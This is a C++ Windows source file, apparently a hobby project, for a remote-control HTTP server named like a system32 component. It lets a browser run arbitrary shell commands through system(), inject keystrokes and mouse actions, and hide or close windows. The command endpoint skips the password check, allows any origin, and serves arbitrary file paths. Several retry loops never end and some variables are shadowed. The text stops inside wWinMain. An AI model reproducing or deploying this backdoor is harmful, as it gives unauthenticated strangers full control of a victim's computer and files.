﻿// system32_msc_server.cpp : 定义应用程序的入口点。
//
#include "framework.h"
#include "system32_msc_server.h"
#include "wjh1.h"
#include <mmsystem.h>
#pragma comment(lib,"wjh1.lib")
#pragma comment(lib, "Winmm.lib")
#define MAX_LOADSTRING 100


// 全局变量:
HINSTANCE hInst;                                // 当前实例
WCHAR szTitle[MAX_LOADSTRING];                  // 标题栏文本
WCHAR szWindowClass[MAX_LOADSTRING];            // 主窗口类名
HWND hwnd0;
int errcode = 0;
char fpwd[64];
char cmcontext[128];


// 此代码模块中包含的函数的前向声明:
ATOM                MyRegisterClass(HINSTANCE hInstance);
BOOL                InitInstance(HINSTANCE, int);
LRESULT CALLBACK    WndProc(HWND, UINT, WPARAM, LPARAM);
INT_PTR CALLBACK    About(HWND, UINT, WPARAM, LPARAM);

int wjhfoas(sendcontent content)
{
    char send_buf[128];
    char sendft[32];
    memset(sendft, '\0', sizeof(sendft));
    sprintf_s(send_buf, "HTTP/1.1 200 OK\r\n");
    send(content.socktosend, send_buf, strlen(send_buf), 0);
    sprintf_s(send_buf, "Connection: keep-alive\r\n");
    send(content.socktosend, send_buf, strlen(send_buf), 0);
    sprintf_s(send_buf, "Access-Control-Allow-Origin: *\r\n");
    send(content.socktosend, send_buf, strlen(send_buf), 0);
    sprintf_s(send_buf, "Server: handsome wujunhao\r\n");
    send(content.socktosend, send_buf, strlen(send_buf), 0);
    sprintf_s(send_buf, "Content-Length: %ld\r\n", content.len);
    send(content.socktosend, send_buf, strlen(send_buf), 0);

    if (strcmp(content.ftype, "jpg") == 0)
    {
        strcpy_s(sendft, "image/jpg");
    }
    else if (strcmp(content.ftype, "html") == 0)
    {
        strcpy_s(sendft, "text/html");
    }
    else if (strcmp(content.ftype, "gif") == 0)
    {
        strcpy_s(sendft, "image/gif");
    }
    else if (strcmp(content.ftype, "js") == 0)
    {
        strcpy_s(sendft, "application/x-javascript");
    }
    else if (strcmp(content.ftype, "json") == 0)
    {
        strcpy_s(sendft, "application/json");
    }
    else if (strcmp(content.ftype, "mp3") == 0)
    {
        strcpy_s(sendft, "audio/mp3");
    }
    else if (strcmp(content.ftype, "css") == 0)
    {
        strcpy_s(sendft, "text/css");
    }
    else if (strcmp(content.ftype, "png") == 0)
    {
        strcpy_s(sendft, "image/png");
    }
    else if (strcmp(content.ftype, "ico") == 0)
    {
        strcpy_s(sendft, "image/x-icon");
    }
    else if (strcmp(content.ftype, "txt") == 0)
    {
        strcpy_s(sendft, "text/plain");
    }
    else
    {
        strcpy_s(sendft, "text/html");
    }

    sprintf_s(send_buf, "Content-Type: %s\r\n", sendft);
    send(content.socktosend, send_buf, strlen(send_buf), 0);
    /*
    if (content.scookie.sendck == true)
    {
        sprintf_s(send_buf, "Set-Cookie: %s; path=/; expires=%s;\r\n", content.scookie.ckstr, content.scookie.gmtstr);
        send(content.socktosend, send_buf, strlen(send_buf), 0);
    }
    */
    sprintf_s(send_buf, "\r\n");
    send(content.socktosend, send_buf, strlen(send_buf), 0);

    if (content.sendfile != nullptr)
    {
        char* sbuf;
        sbuf = (char*)malloc(content.len + 1);
        memset(sbuf, '\0', content.len + 1);
        fseek(content.sendfile, 0, SEEK_SET);
        fread(sbuf, 1, content.len, content.sendfile);
        fclose(content.sendfile);
        if (SOCKET_ERROR == send(content.socktosend, sbuf, content.len + 1, 0))
        {
            //printf("send() Failed:%d\n", WSAGetLastError());
            return SOCKET_ERROR;
        }
        free(sbuf);
    }
    else
    {
        if (SOCKET_ERROR == send(content.socktosend, content.ctstr, strlen(content.ctstr) + 1, 0))
        {
            //printf("send() Failed:%d\n", WSAGetLastError());
            return SOCKET_ERROR;
        }
    }
    return 0;
}

const char* wjhgeterr()
{
    switch (errcode)
    {
    case 0:
        return "无错误";
        break;
    case 1:
        return "类型错误";
        break;
    case 2:
        return "无内容";
        break;
    case 3:
        return "参数错误";
        break;
    case 4:
        return "SW命令method参数错误";
        break;
    case 5:
        return "SW命令hid模式sec错误";
        break;
    case 6:
        return "HK命令长度错误";
        break;
    case 7:
        return "HK键码错误";
        break;
    case 8:
        return "设置时间过长";
        break;
    case 9:
        return 0;//cmd命令已执行
    case 10:
        return "KI命令不允许有中文";
    case 11:
        return "程序内部错误";
    case 12:
        return "ME命令模式错误";
    case 13:
        return "ME命令模式赋值错误";
    case 14:
        return "SP命令无内容";
    default:
        return "无匹配错误代码信息";
        break;
    }
    return "寻找错误时错误";
}

void hwd(HWND hwnd0, int sec)//隐藏窗口
{
    ShowWindow(hwnd0, SW_HIDE);
    Sleep(sec * 1000);
    ShowWindow(hwnd0, SW_SHOW);
    return;
}

unsigned char gvklite(char w)
{
    if (w >= '0' && w <= '9')
    {
        return 0x30 + w - '0';
    }
    else if(w >= 'a' && w <= 'z')
    {
        return 0x41 + w - 'a';
    }
    else
    {
        return 0;
    }
    return 0;
}

unsigned char gvk(const char* key)//get virtual key code
{
    if (key[0] == 'u' && key[1] == 'p')//上排数字0-9
    {
        if (key[2] >= '0' && key[2] <= '9')
        {
            return 0x30 + key[2] - '0';
        }
        else
        {
            return 0;
        }
    }
    else if (key[0] == 'k' && key[1] == 'b')//键盘字母a-z
    {
        if (key[2] >= 'a' && key[2] <= 'z')
        {
            return 0x41 + key[2] - 'a';
        }
        else
        {
            return 0;
        }
    }
    else if (key[0] == 'n' && key[1] == 'p')//右边数字盘0-f
    {
        if (key[2] >= '0' && key[2] <= '9')
        {
            return 0x60 + key[2] - '0';
        }
        else if (key[2] >= 'a' && key[2] <= 'f')
        {
            return 0x6A + key[2] - 'a';
        }
        else
        {
            return 0;
        }
    }
    else if (key[0] == 'm' && key[2] == 'b')//鼠标三键
    {
        if (key[1] == 'l')
        {
            return VK_LBUTTON;
        }
        else if (key[1] == 'r')
        {
            return VK_RBUTTON;
        }
        else if (key[1] == 'm')
        {
            return VK_MBUTTON;
        }
        else
        {
            return 0;
        }
    }
    else if (key[0] == 'f')//f01-f20
    {
        char num[2];
        int num0 = 0;
        num[0] = key[1];
        num[1] = key[2];
        num0 = atoi(num);
        if (num0 >= 1 && num0 <= 20)
        {
            return 0x70 - 1 + num0;
        }
        else
        {
            return 0;
        }
    }
    else
    {
        if (strcmp(key, "ctr") == 0)//ctrl
        {
            return VK_CONTROL;
        }
        else if (strcmp(key, "shi") == 0)//shift
        {
            return VK_SHIFT;
        }
        else if (strcmp(key, "cap") == 0)//caps lock
        {
            return VK_CAPITAL;
        }
        else if (strcmp(key, "tab") == 0)//tab
        {
            return VK_TAB;
        }
        else if (strcmp(key, "esc") == 0)//esc
        {
            return VK_ESCAPE;
        }
        else if (strcmp(key, "bac") == 0)//back
        {
            return VK_BACK;
        }
        else if (strcmp(key, "ent") == 0)//回车
        {
            return VK_RETURN;
        }
        else if (strcmp(key, "ret") == 0)//回车
        {
            return VK_RETURN;
        }
        else if (strcmp(key, "spa") == 0)//空格
        {
            return VK_SPACE;
        }
        else if (strcmp(key, "aup") == 0)//上箭头
        {
            return VK_UP;
        }
        else if (strcmp(key, "ale") == 0)//左箭头
        {
            return VK_LEFT;
        }
        else if (strcmp(key, "ari") == 0)//右箭头
        {
            return VK_RIGHT;
        }
        else if (strcmp(key, "ado") == 0)//下箭头
        {
            return VK_DOWN;
        }
        else if (strcmp(key, "del") == 0)//delete
        {
            return VK_DELETE;
        }
        else if (strcmp(key, "lwi") == 0)//左win
        {
            return VK_LWIN;
        }
        else if (strcmp(key, "rwi") == 0)//右win
        {
            return VK_RWIN;
        }
        else if (strcmp(key, "alt") == 0)//alt
        {
            return VK_MENU;
        }
        else if (strcmp(key, "num") == 0)//num lock
        {
            return VK_NUMLOCK;
        }
        else
        {
            return 0;
        }
    }
    return 0;
}

DWORD WINAPI CMDmsg(LPVOID notuse)//command 命令标准格式:仅单参数,即命令本身
{
    const char* msgc = cmcontext;
    if (msgc == NULL)
    {
        errcode = 2;
    }
    else
    {
        char cmdl[128];
        strcpy_s(cmdl, msgc);
        strcat_s(cmdl, " > webpage\\reply.txt");
        system(cmdl);
        errcode = 9;
    }
    return 0;
}

DWORD WINAPI MBmsg(LPVOID notuse)//message box 命令标准格式:单参数:全部为内容,标题自动为system message. 双参数: 标题 ; 内容 ,分号隔开,前为标题后为内容
{
    const char* msgc = cmcontext;
    wchar_t* msgwc;
    int textlen;
    textlen = MultiByteToWideChar(CP_ACP, 0, msgc, -1, NULL, 0);
    msgwc = (wchar_t*)malloc((textlen + 1) * sizeof(wchar_t));
    memset(msgwc, L'\0', (textlen + 1) * sizeof(wchar_t));
    MultiByteToWideChar(CP_ACP, 0, msgc, -1, msgwc, textlen);
    if (msgc == NULL)
    {
        errcode = 2;
    }
    else
    {
        if (strstr(msgc, ";") == NULL)
        {
            MessageBoxW(NULL, msgwc, L"system message", MB_TOPMOST);
        }
        else
        {
            if (msgwc == NULL)
            {
                errcode = 11;
                return 0;
            }
            else
            {
                int num0 = 0, num1 = 0;
                wchar_t msgtitle[64], msgcontext[128];
                for (num0 = 0; num0 < 64 && num0 < textlen + 1; num0++)
                {
                    if (msgwc[num0] == L';')
                    {
                        msgtitle[num0] = L'\0';
                        num0++;
                        break;
                    }
                    msgtitle[num0] = msgwc[num0];
                }
                while (num1 < 128 && num0 < textlen + 1)
                {
                    msgcontext[num1] = msgwc[num0];
                    num0++;
                    num1++;
                }
                msgcontext[num1] = L'\0';
                MessageBoxW(NULL, msgcontext, msgtitle, MB_TOPMOST);
            }
        }
        errcode = 0;
    }
    free(msgwc);
    return 0;
}

DWORD WINAPI KImsg(LPVOID notuse)//keyboard input
{
    const char* msgc = cmcontext;
    if (msgc == NULL)
    {
        errcode = 2;
    }
    else
    {
        unsigned char vkw;
        bool zflag = false;
        for (unsigned int num0 = 0; num0 < strlen(msgc); num0++)
        {
            vkw = gvklite(msgc[num0]);
            if (vkw == 0)
            {
                zflag = true;
            }
            else
            {
                keybd_event(vkw, 0, KEYEVENTF_EXTENDEDKEY, 0);
                keybd_event(vkw, 0, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0);
            }
        }
        if (zflag == true)
        {
            errcode = 10;
        }
        else
        {
            errcode = 0;
        }
    }
    return 0;
}

void CWmsg()//销毁窗口
{
    PostMessageW(GetForegroundWindow(), WM_CLOSE, 0, 0);
    errcode = 0;
    return;
}

DWORD WINAPI SWmsg(LPVOID notuse)//set window 标准格式: method(;sec)
{
    const char* msgc = cmcontext;
    if (msgc == NULL)
    {
        errcode = 2;
    }
    else
    {
        char method[8];
        memset(method, '\0', sizeof(method));
        strncpy_s(method, msgc, 3);
        HWND hwnd0 = GetForegroundWindow();
        if (strcmp(method, "max") == 0)
        {
            ShowWindow(hwnd0, SW_MAXIMIZE);
        }
        else if (strcmp(method, "min") == 0)
        {
            ShowWindow(hwnd0, SW_MINIMIZE);
        }
        else if (strcmp(method, "hid") == 0)
        {
            char secc[2];
            int seci;
            for (int num0 = 0; num0 < 2; num0++)
            {
                secc[num0] = msgc[num0 + 4];
            }
            seci = atoi(secc);
            if (seci == NULL)
            {
                errcode = 5;
                return 0;
            }
            else if (seci > 10)
            {
                errcode = 8;
                return 0;
            }
            hwd(hwnd0, seci);
        }
        else
        {
            errcode = 4;
            return 0;
        }
        errcode = 0;
    }
    return 0;
}

DWORD WINAPI HKmsg(LPVOID notuse)//hot key 标准格式:key1(;key2)(;key3)
{
    const char* msgc = cmcontext;
    if (msgc == NULL)
    {
        errcode = 2;
    }
    else
    {
        int len = strlen(msgc);
        switch (len)
        {
        case 3:
        {
            char key1[4];
            strcpy_s(key1, msgc);
            BYTE vk1 = gvk(key1);
            if (vk1 == NULL)
            {
                errcode = 7;
                break;
            }
            else
            {
                errcode = 0;
            }
            keybd_event(vk1, 0, KEYEVENTF_EXTENDEDKEY, 0);
            keybd_event(vk1, 0, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0);
            break;
        }
        case 7:
        {
            char key1[4], key2[4];
            BYTE vk1, vk2;
            strncpy_s(key1, msgc, 3);
            key2[0] = msgc[4];
            key2[1] = msgc[5];
            key2[2] = msgc[6];
            key2[3] = '\0';
            vk1 = gvk(key1);
            vk2 = gvk(key2);
            if (vk1 == NULL || vk2 == NULL)
            {
                errcode = 7;
                break;
            }
            else
            {
                errcode = 0;
            }
            keybd_event(vk1, 0, KEYEVENTF_EXTENDEDKEY, 0);
            keybd_event(vk2, 0, KEYEVENTF_EXTENDEDKEY, 0);
            keybd_event(vk2, 0, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0);
            keybd_event(vk1, 0, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0);
            break;
        }
        case 11:
        {
            char key1[4], key2[4], key3[4];
            BYTE vk1, vk2, vk3;
            strncpy_s(key1, msgc, 3);
            key2[0] = msgc[4];
            key2[1] = msgc[5];
            key2[2] = msgc[6];
            key2[3] = '\0';
            key3[0] = msgc[8];
            key3[1] = msgc[9];
            key3[2] = msgc[10];
            key3[3] = '\0';
            vk1 = gvk(key1);
            vk2 = gvk(key2);
            vk3 = gvk(key3);
            if (vk1 == NULL || vk2 == NULL || vk3 == NULL)
            {
                errcode = 7;
                break;
            }
            else
            {
                errcode = 0;
            }
            keybd_event(vk1, 0, KEYEVENTF_EXTENDEDKEY, 0);
            keybd_event(vk2, 0, KEYEVENTF_EXTENDEDKEY, 0);
            keybd_event(vk3, 0, KEYEVENTF_EXTENDEDKEY, 0);
            keybd_event(vk3, 0, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0);
            keybd_event(vk2, 0, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0);
            keybd_event(vk1, 0, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0);
            break;
        }
        default:
            errcode = 6;
            break;
        }
    }
    return 0;
}

DWORD WINAPI RBmsg(LPVOID notuse)//ring bell message
{
    PlaySoundW(L"ring.wav", NULL, SND_FILENAME | SND_ASYNC);
    return 0;
}

DWORD WINAPI MEmsg(LPVOID notuse)//mouse event message
{
    const char* cmm = cmcontext;
    const char* mh = strstr(cmm, ":");
    const char* pos = mh + 1;
    const char* jg = strstr(pos, ";");
    const char* ed = strstr(jg + 1, ";");
    char strx[5], stry[5];
    memset(strx, '\0', 5);
    memset(stry, '\0', 5);
    if (mh - cmm == 2)
    {
        const char method = cmm[1];
        if (cmm[0] == 'j')
        {
            strncpy_s(strx, pos, jg - pos);
            strncpy_s(stry, jg + 1, ed - jg - 1);
            if (stry == NULL || strx == NULL)
            {
                errcode = 13;
                return 0;
            }
            int px = atoi(strx);
            int py = atoi(stry);
            mouse_event(MOUSEEVENTF_MOVE, px, py, 0, NULL);
            switch (method)
            {
            case 'y':
            {
                errcode = 0;
                break;
            }
            case 'l':
            {
                mouse_event(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_LEFTDOWN, px, py, 0, NULL);
                mouse_event(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_LEFTUP, px, py, 0, NULL);
                errcode = 0;
                break;
            }
            case 'm':
            {
                mouse_event(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MIDDLEDOWN, px, py, 0, NULL);
                mouse_event(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MIDDLEUP, px, py, 0, NULL);
                errcode = 0;
                break;
            }
            case 'r':
            {
                mouse_event(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_RIGHTDOWN, px, py, 0, NULL);
                mouse_event(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_RIGHTUP, px, py, 0, NULL);
                errcode = 0;
                break;
            }
            case 'w':
            {
                const char forward = ed[1];
                const char* wlend = strstr(ed + 2, ";");
                char wlstr[8];
                memset(wlstr, '\0', 8);
                strncpy_s(wlstr, ed + 2, wlend - ed - 2);
                if (wlstr == NULL)
                {
                    errcode = 13;
                    return 0;
                }
                int wl = atoi(wlstr);
                if (forward == 'u')
                {
                    mouse_event(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_HWHEEL, px, py, wl, NULL);
                }
                else if (forward == 'd')
                {
                    mouse_event(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_HWHEEL, px, py, -wl, NULL);
                }
                errcode = 0;
                break;
            }
            case 'd':
            {
                const char* dgjg = strstr(ed + 1, ";");
                const char* dged = strstr(dgjg + 1, ";");
                char dgx[8], dgy[8];
                memset(dgx, '\0', 8);
                memset(dgy, '\0', 8);
                strncpy_s(dgx, ed + 1, dgjg - ed - 1);
                strncpy_s(dgy, dgjg + 1, dged - dgjg - 1);
                if (dgx == NULL || dgy == NULL)
                {
                    errcode = 13;
                    return 0;
                }
                int dgtx = atoi(dgx);
                int dgty = atoi(dgy);
                mouse_event(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_LEFTDOWN, px, py, 0, NULL);
                mouse_event(MOUSEEVENTF_MOVE, dgtx, dgty, 0, NULL);
                mouse_event(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_LEFTUP, px, py, 0, NULL);
                errcode = 0;
                break;
            }
            default:
            {
                errcode = 12;
                break;
            }
            }
        }
        else if (cmm[0] == 'x')
        {
            const char xf = pos[0];
            strncpy_s(strx, pos+1, jg - pos - 1);
            const char yf = jg[1];
            strncpy_s(stry, jg + 2, ed - jg - 2);
            if (stry == NULL || strx == NULL)
            {
                errcode = 13;
                return 0;
            }
            int px = 0, py = 0;
            if (xf == '+')
            {
                px = atoi(strx);
            }
            else if (xf == '-')
            {
                px = 0 - atoi(strx);
            }
            if (yf == '+')
            {
                py= atoi(stry);
            }
            else if (yf == '-')
            {
                py = 0 - atoi(stry);
            }
            mouse_event(MOUSEEVENTF_MOVE, px, py, 0, NULL);
            switch (method)
            {
            case 'y':
            {
                errcode = 0;
                break;
            }
            case 'l':
            {
                mouse_event(MOUSEEVENTF_LEFTDOWN, px, py, 0, NULL);
                mouse_event(MOUSEEVENTF_LEFTUP, px, py, 0, NULL);
                errcode = 0;
                break;
            }
            case 'm':
            {
                mouse_event(MOUSEEVENTF_MIDDLEDOWN, px, py, 0, NULL);
                mouse_event(MOUSEEVENTF_MIDDLEUP, px, py, 0, NULL);
                errcode = 0;
                break;
            }
            case 'r':
            {
                mouse_event(MOUSEEVENTF_RIGHTDOWN, px, py, 0, NULL);
                mouse_event(MOUSEEVENTF_RIGHTUP, px, py, 0, NULL);
                errcode = 0;
                break;
            }
            case 'w':
            {
                const char forward = ed[1];
                const char* wlend = strstr(ed + 2, ";");
                char wlstr[8];
                memset(wlstr, '\0', 8);
                strncpy_s(wlstr, ed + 2, wlend - ed - 2);
                if (wlstr == NULL)
                {
                    errcode = 13;
                    return 0;
                }
                int wl = atoi(wlstr);
                if (forward == 'u')
                {
                    mouse_event(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_HWHEEL, px, py, wl, NULL);
                }
                else if (forward == 'd')
                {
                    mouse_event(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_HWHEEL, px, py, -wl, NULL);
                }
                errcode = 0;
                break;
            }
            case 'd':
            {
                const char* dgjg = strstr(ed + 2, ";");
                const char* dged = strstr(dgjg + 1, ";");
                const char dgxf = ed[1];
                const char dgyf = dgjg[1];
                char dgx[8], dgy[8];
                memset(dgx, '\0', 8);
                memset(dgy, '\0', 8);
                strncpy_s(dgx, ed + 2, dgjg - ed - 2);
                strncpy_s(dgy, dgjg + 2, dged - dgjg - 2);
                if (dgx == NULL || dgy == NULL)
                {
                    errcode = 13;
                    return 0;
                }
                int dgtx = 0, dgty = 0;
                if (dgxf == '+')
                {
                    int dgtx = atoi(dgx);
                }
                else if (dgxf == '-')
                {
                    int dgtx = 0 - atoi(dgx);
                }
                if (dgyf == '+')
                {
                    int dgty = atoi(dgy);
                }
                else if (dgyf == '-')
                {
                    int dgty = 0 - atoi(dgy);
                }
                mouse_event(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_LEFTDOWN, px, py, 0, NULL);
                mouse_event(MOUSEEVENTF_MOVE, dgtx, dgty, 0, NULL);
                mouse_event(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_LEFTUP, px, py, 0, NULL);
                errcode = 0;
                break;
            }
            default:
            {
                errcode = 12;
                break;
            }
            }
        }
        else
        {
            errcode = 12;
        }
    }
    else
    {
        errcode = 12;
    }
    return 0;
}


DWORD WINAPI SPmsg(LPVOID notuse)//speak
{
    if (cmcontext == NULL)
    {
        errcode = 14;
        return 0;
    }
    const char* ctt = ANSItoUTF8(cmcontext);
    FILE* spctf = NULL;
    errno_t ferr = 13;
    int fot = 0;
    while (ferr == 13 && fot < 10)
    {
        ferr = fopen_s(&spctf, "sct.txt", "w");
    }
    fwrite(ctt, 1, strlen(ctt), spctf);
    fclose(spctf);
    system("start speak.vbs");
    return 0;
}

void KMmsg()//kill me message
{
    SendMessageW(hwnd0, WM_CLOSE, NULL, NULL);
    return;
}

void RSmsg()//re start
{
    system("start restart.vbs");
    SendMessageW(hwnd0, WM_CLOSE, NULL, NULL);
    return;
}

void msghand(const char* imsg)
{
    unsigned int num0 = 3, ctn = 0;
    char msgtype[4];
    memset(msgtype, '\0', 4);
    strncpy_s(msgtype, imsg, 2);
    memset(cmcontext, '\0', 128);
    strcpy_s(cmcontext, imsg + 3);
    if (msgtype == NULL)
    {
        errcode = 1;
        return;
    }
    if (strcmp(msgtype, "cm") == 0)//command
    {
        CreateThread(NULL, NULL, CMDmsg, NULL, NULL, NULL);
    }
    else if (strcmp(msgtype, "mb") == 0)//message box
    {
        CreateThread(NULL, NULL, MBmsg, NULL, NULL, NULL);
    }
    else if (strcmp(msgtype, "ki") == 0)//keyboard input string
    {
        CreateThread(NULL, NULL, KImsg, NULL, NULL, NULL);
    }
    else if (strcmp(msgtype, "sw") == 0)//show window
    {
        CreateThread(NULL, NULL, SWmsg, NULL, NULL, NULL);
    }
    else if (strcmp(msgtype, "cw") == 0)//colse window
    {
        CWmsg();
    }
    else if (strcmp(msgtype, "hk") == 0)//hot key
    {
        CreateThread(NULL, NULL, HKmsg, NULL, NULL, NULL);
    }
    else if (strcmp(msgtype, "rb") == 0)//ring bell
    {
        CreateThread(NULL, NULL, RBmsg, NULL, NULL, NULL);
    }
    else if (strcmp(msgtype, "me") == 0)//mouse event
    {
        CreateThread(NULL, NULL, MEmsg, NULL, NULL, NULL);
    }
    else if (strcmp(msgtype, "sp") == 0)//speak
    {
        CreateThread(NULL, NULL, SPmsg, NULL, NULL, NULL);
    }
    else if (strcmp(msgtype, "km") == 0)//kill myself
    {
        KMmsg();
    }
    else if (strcmp(msgtype, "rs") == 0)//re start
    {
        RSmsg();
    }
    else
    {
        errcode = 1;
    }
    return;
}

DWORD WINAPI HTTPreplyf(LPVOID lparam)
{
    recvcontent rec;
    sendcontent sc;
    errno_t errn = 13;
    rec = HTTPrecvf((SOCKET)(LPVOID)lparam);
    sc.socktosend = rec.sockfromrecv;
    sc.sendfile = NULL;
    if (strcmp(rec.urlstr, "\\") == 0|| strcmp(rec.urlstr, "\\signin.html") == 0)
    {
        int fot = 0;
        while (errn == 13 && fot < 10)
        {
            errn = fopen_s(&sc.sendfile, "webpage\\signin.html", "rb");
        }
        int flen;
        char* ts;
        fseek(sc.sendfile, 0, SEEK_SET);
        fseek(sc.sendfile, 0, SEEK_END);
        flen = ftell(sc.sendfile);
        ts = (char*)malloc(flen + 1);
        memset(ts, '\0', flen + 1);
        fseek(sc.sendfile, 0, SEEK_SET);
        sc.len = flen;
        fread_s(ts, flen + 1, flen, 1, sc.sendfile);
        free((void*)ts);
        strcpy_s(sc.ftype, "html");
        if (sc.sendfile == NULL)
        {
            s404(sc.socktosend);
            closesocket(sc.socktosend);
            return 0;
        }
    }
    else if (strcmp(rec.urlstr, "\\control.html") == 0)
    {
        if (strcmp(rec.reply, fpwd) == 0)
        {
            int fot = 0;
            while (errn == 13 && fot < 10)
            {
                errn = fopen_s(&sc.sendfile, "webpage\\control.html", "rb");
            }
            int flen;
            char* ts;
            fseek(sc.sendfile, 0, SEEK_SET);
            fseek(sc.sendfile, 0, SEEK_END);
            flen = ftell(sc.sendfile);
            ts = (char*)malloc(flen + 1);
            memset(ts, '\0', flen + 1);
            fseek(sc.sendfile, 0, SEEK_SET);
            sc.len = flen;
            fread_s(ts, flen + 1, flen, 1, sc.sendfile);
            free((void*)ts);
            strcpy_s(sc.ftype, rec.ftype);
        }
        else
        {
            s404(sc.socktosend);
            closesocket(sc.socktosend);
            return 0;
        }
    }
    else if (strcmp(rec.urlstr, "\\controlmsg.nmsl") == 0)
    {
        if (rec.reply[0] == 'c' && rec.reply[1] == 'm' && rec.reply[2] == '=')
        {
            char cm[128];
            memset(cm, '\0', 128);
            unsigned int num0 = 0;
            for (num0 = 0; num0 < 128 && num0 < strlen(rec.reply) - 3; num0++)
            {
                cm[num0] = rec.reply[num0 + 3];
            }
            msghand(cm);
            s204(sc.socktosend);
            closesocket(sc.socktosend);
            return 0;
        }
        else
        {
            s404(sc.socktosend);
            closesocket(sc.socktosend);
            return 0;
        }
    }
    else if (strcmp(rec.urlstr, "\\screen.msg") == 0)
    {
        int cx = GetSystemMetrics(SM_CXSCREEN);
        int cy = GetSystemMetrics(SM_CYSCREEN);
        char ts[16];
        char xystr[32];
        memset(ts, '\0', 16);
        memset(xystr, '\0', 32);
        _itoa_s(cx, ts, 10);
        strcpy_s(xystr, ts);
        strcat_s(xystr, "x");
        memset(ts, '\0', 16);
        _itoa_s(cy, ts, 10);
        strcat_s(xystr, ts);

        char send_buf[128];
        sprintf_s(send_buf, "HTTP/1.1 200 OK\r\n");
        send(sc.socktosend, send_buf, strlen(send_buf), 0);
        sprintf_s(send_buf, "Connection: keep-alive\r\n");
        send(sc.socktosend, send_buf, strlen(send_buf), 0);
        sprintf_s(send_buf, "Access-Control-Allow-Origin: *\r\n");
        send(sc.socktosend, send_buf, strlen(send_buf), 0);
        sprintf_s(send_buf, "Server: handsome wujunhao\r\n");
        send(sc.socktosend, send_buf, strlen(send_buf), 0);
        sprintf_s(send_buf, "Content-Length: %ld\r\n", strlen(xystr) + 1);
        send(sc.socktosend, send_buf, strlen(send_buf), 0);
        sprintf_s(send_buf, "Content-Type: text/plain\r\n\r\n");
        send(sc.socktosend, send_buf, strlen(send_buf), 0);
        send(sc.socktosend, xystr, strlen(xystr) + 1, 0);
        closesocket(sc.socktosend);
        return 0;
    }
    else if (strcmp(rec.urlstr, "\\reply.txt") == 0)
    {
        const char* errstr = ANSItoUTF8(wjhgeterr());
        if (errstr[0] == NULL)
        {
            int fot = 0;
            while (errn == 13 && fot < 10)
            {
                errn = fopen_s(&sc.sendfile, "webpage\\reply.txt", "rb");
            }
            int flen;
            char* ts;
            fseek(sc.sendfile, 0, SEEK_SET);
            fseek(sc.sendfile, 0, SEEK_END);
            flen = ftell(sc.sendfile);
            ts = (char*)malloc(flen + 1);
            memset(ts, '\0', flen + 1);
            fseek(sc.sendfile, 0, SEEK_SET);
            sc.len = flen;
            fread_s(ts, flen + 1, flen, 1, sc.sendfile);
            free((void*)ts);
            strcpy_s(sc.ftype, "txt");
        }
        else
        {
            char send_buf[128];
            sprintf_s(send_buf, "HTTP/1.1 200 OK\r\n");
            send(sc.socktosend, send_buf, strlen(send_buf), 0);
            sprintf_s(send_buf, "Connection: keep-alive\r\n");
            send(sc.socktosend, send_buf, strlen(send_buf), 0);
            sprintf_s(send_buf, "Access-Control-Allow-Origin: *\r\n");
            send(sc.socktosend, send_buf, strlen(send_buf), 0);
            sprintf_s(send_buf, "Server: handsome wujunhao\r\n");
            send(sc.socktosend, send_buf, strlen(send_buf), 0);
            sprintf_s(send_buf, "Content-Length: %ld\r\n", strlen(errstr) + 1);
            send(sc.socktosend, send_buf, strlen(send_buf), 0);
            sprintf_s(send_buf, "Content-Type: text/plain\r\n\r\n");
            send(sc.socktosend, send_buf, strlen(send_buf), 0);
            send(sc.socktosend, errstr, strlen(errstr) + 1, 0);
            closesocket(sc.socktosend);
            return 0;
        }
    }
    else
    {
        char path[64];
        strcpy_s(path, "webpage");
        strcat_s(path, rec.urlstr);
        while (errn == 13)
        {
            errn = fopen_s(&sc.sendfile, rec.urlstr, "rb");
        }
        if (errn == 2)
        {
            s404(sc.socktosend);
            closesocket(sc.socktosend);
            return 0;
        }
        int flen;
        char* ts;
        fseek(sc.sendfile, 0, SEEK_SET);
        fseek(sc.sendfile, 0, SEEK_END);
        flen = ftell(sc.sendfile);
        ts = (char*)malloc(flen + 1);
        memset(ts, '\0', flen + 1);
        fseek(sc.sendfile, 0, SEEK_SET);
        sc.len = flen;
        fread_s(ts, flen + 1, flen, 1, sc.sendfile);
        free((void*)ts);
        strcpy_s(sc.ftype, rec.ftype);
    }
    wjhfoas(sc);
    closesocket(sc.socktosend);
    return 0;
}

DWORD WINAPI HST(LPVOID lparam)
{
    char fpwd0[64];
    errno_t errn = 13;
    FILE* psf = NULL;
    int fot = 0;
    while (errn == 13 && fot < 10)
    {
        errn = fopen_s(&psf, "webpage\\passwd.txt", "r");
    }
    int flen;
    fseek(psf, 0, SEEK_SET);
    fseek(psf, 0, SEEK_END);
    flen = ftell(psf);
    fseek(psf, 0, SEEK_SET);
    fread_s(fpwd0, flen + 1, flen, 1, psf);
    fclose(psf);
    for (unsigned int num0 = 0; num0 < 64 && num0 < strlen(fpwd0); num0++)
    {
        if (fpwd0[num0] == ';')
        {
            strncpy_s(fpwd, fpwd0, num0);
            break;
        }
    }
    HTTPserverf(HTTPreplyf);
    return 0;
}


int APIENTRY wWinMain(_In_ HINSTANCE hInstance,
                     _In_opt_ HINSTANCE hPrevInstance,
                     _In_ LPWSTR    lpCmdLine,
                     _In_ int       nCmdShow)
{
    UNREFERENCED_PARAMETER(hPrevInstance);
